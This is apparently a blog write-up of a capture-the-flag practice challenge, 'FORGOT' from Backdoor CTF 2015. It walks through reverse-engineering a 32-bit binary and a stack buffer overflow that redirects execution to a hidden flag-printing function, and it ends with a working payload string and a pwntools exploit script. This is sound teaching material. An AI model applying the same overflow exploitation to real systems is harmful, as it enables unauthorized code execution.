Tuesday, June 23, 2015

Backdoor CTF 2015 "FORGOT" - practice session write-up

This is another practice session write-up (disclaimer).
Today's challenge is called "FORGOT" and is from Backdoor CTF 2015.

You can download the ELF here.


Running the usual stuff first to see if we get anything interesting...

# file forgot
forgot: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x2d0a93353682049b11964e699e753b07c4b8881c, stripped

# /opt/checksec.sh --file forgot
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   forgo

# strings forgot
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
fflush
__isoc99_scanf
puts
stdin
fgets
strlen
stdout
system
__libc_start_main
snprintf
__gmon_start__
GLIBC_2.7
GLIBC_2.0
PTRh
D$8,
D$<@
D$@T
D$Dh
D$H|
|$x 
D$x 
[^_]
Hi %s
   Finite-State Automaton
I have implemented a robust FSA to validate email addresses
Throw a string at me and I will let you know if it is a valid email address
    Cheers!
Dude, you seriously think this is going to work. Where are the fancy @ and [dot], huh?
This all you got? I don't even see an @!
Are you hungry? You just ate the entire part that follows @!
Seems like you work a lot on your localhost, real domains consist of a .[dot]
Sentences end with a [dot], not domains chu!
That is hell of an interesting domain, never seen a top-level domain with a single char.
:) Valid hai!
You just made it. But then you didn't!
./flag
cat %s
What is your name?
I should give you a pointer perhaps. Here: %x
Enter the string to be validate
;*2$"

So this is a dynamically linked binary which has NX enabled - which means we will not be able to run our shellcode from the stack... The strings commands shows a few interesting strings in the binary.
We cross-reference these strings to see when they are being used and get to the following piece of assembly.

.text:080486CC                 push    ebp
.text:080486CD                 mov     ebp, esp
.text:080486CF                 sub     esp, 58h
.text:080486D2                 mov     dword ptr [esp+0Ch], offset a_Flag ; "./flag"
.text:080486DA                 mov     dword ptr [esp+8], offset aCatS ; "cat %s"
.text:080486E2                 mov     dword ptr [esp+4], 32h
.text:080486EA                 lea     eax, [ebp-3Ah]
.text:080486ED                 mov     [esp], eax
.text:080486F0                 call    _snprintf
.text:080486F5                 lea     eax, [ebp-3Ah]
.text:080486F8                 mov     [esp], eax
.text:080486FB                 call    _system
.text:08048700                 leave
.text:08048701                 retn
It looks like the flag is located in a file called flag, and this function is being used to get the flag from the file and sends it to stdout. The strange thing is that this function is never called from anywhere in the rest of the binary... funny.. well, moving on!

After running the binary we see that it asks us to input our name and email address. Trying a few input strings we seem to cause a segmentation fault.
# ./forgot
What is your name?
> aaaaaaaaaaaaaa

Hi aaaaaaaaaaaaaa


   Finite-State Automaton

I have implemented a robust FSA to validate email addresses
Throw a string at me and I will let you know if it is a valid email address

    Cheers!

I should give you a pointer perhaps. Here: 8048654

Enter the string to be validate
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault

This looks very much like a buffer overflow attack. To verify, we simply load the binary in EDB and run a few input strings. The dump bellow is the stack layout after we input "AAAA". It seems we can overflow anything bellow 0xbffbed30.

bffb:ed20|08048e14|....|
bffb:ed24|bffbed30|0...|ASCII "AAAA"
bffb:ed28|b777d440|@.w.|
bffb:ed2c|00000000|....|
bffb:ed30|41414141|AAAA|
bffb:ed34|00000000|....|
bffb:ed38|00000000|....|
bffb:ed3c|00000001|....|
bffb:ed40|b77be908|..{.|
bffb:ed44|b761c8d0|..a.|
bffb:ed48|bffbee54|T...|
bffb:ed4c|bffc0be2|. ..|ASCII "/media/sf_CTFs/backdoor_2015/forgot/forgot"
bffb:ed50|08048604|....|return to 08048604
bffb:ed54|08048618|....|return to 08048618
bffb:ed58|0804862c|,...|return to 0804862c
bffb:ed5c|08048640|@...|return to 08048640
bffb:ed60|08048654|T...|return to 08048654
bffb:ed64|08048668|h...|return to 08048668
bffb:ed68|0804867c||...|return to 0804867c
bffb:ed6c|08048690|....|return to 08048690
bffb:ed70|080486a4|....|return to 080486a4
bffb:ed74|080486b8|....|return to 080486b8
bffb:ed78|696b696b|kiki|
bffb:ed7c|0804000a|....|
bffb:ed80|00000001|....|
bffb:ed84|bffbee54|T...|
bffb:ed88|bffbee5c|\...|
bffb:ed8c|bffbeda8|....|
bffb:ed90|b764c515|..d.|return to b764c515

Great! But the stack is non-executable, so how do we use this buffer overflow to gain code execution, execute our shellcode and gain shell access so we can find the flag on the remote system? Well... we don't! Turns out we don't really need to go to all the trouble of finding a valid r0p chain for our payload since we already have a piece of code which will print the flag for use (remember the hidden function at 0x080486CC). We just need to redirect the flow of execution to that hidden function.

Luckily,we can overflow a bunch of return addresses, so redirecting the flow of execution should not be a problem. To speed things up, I'll use a neat little trick to see which return address we need to overflow.

First, I'll use Metasploit's pattern_create function to create a unique pattern, and then use this pattern as the attack string.

# /usr/share/metasploit-framework/tools/pattern_create.rb 50
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab

The debugger reports a segmentation fault while trying to access the address 0x41326241, which means the sub-string we need to change is Ab2A. Which gives us the following attack string!
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1\xCC\x86\x04\x08b3Ab4Ab5Ab

So that was easy! :)

Here is a small python script to automate all this.
from pwn import *
from struct import pack, unpack

conn = remote("localhost", 6667)
log.info(conn.recvuntil(">"))

conn.sendline("kiki")  # send name

log.info(conn.recvuntil(">"))

conn.sendline("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1\xCC\x86\x04\x08b3Ab4Ab5Ab")  # send payload

log.info(conn.recvall())

conn.close()


No comments:

Post a Comment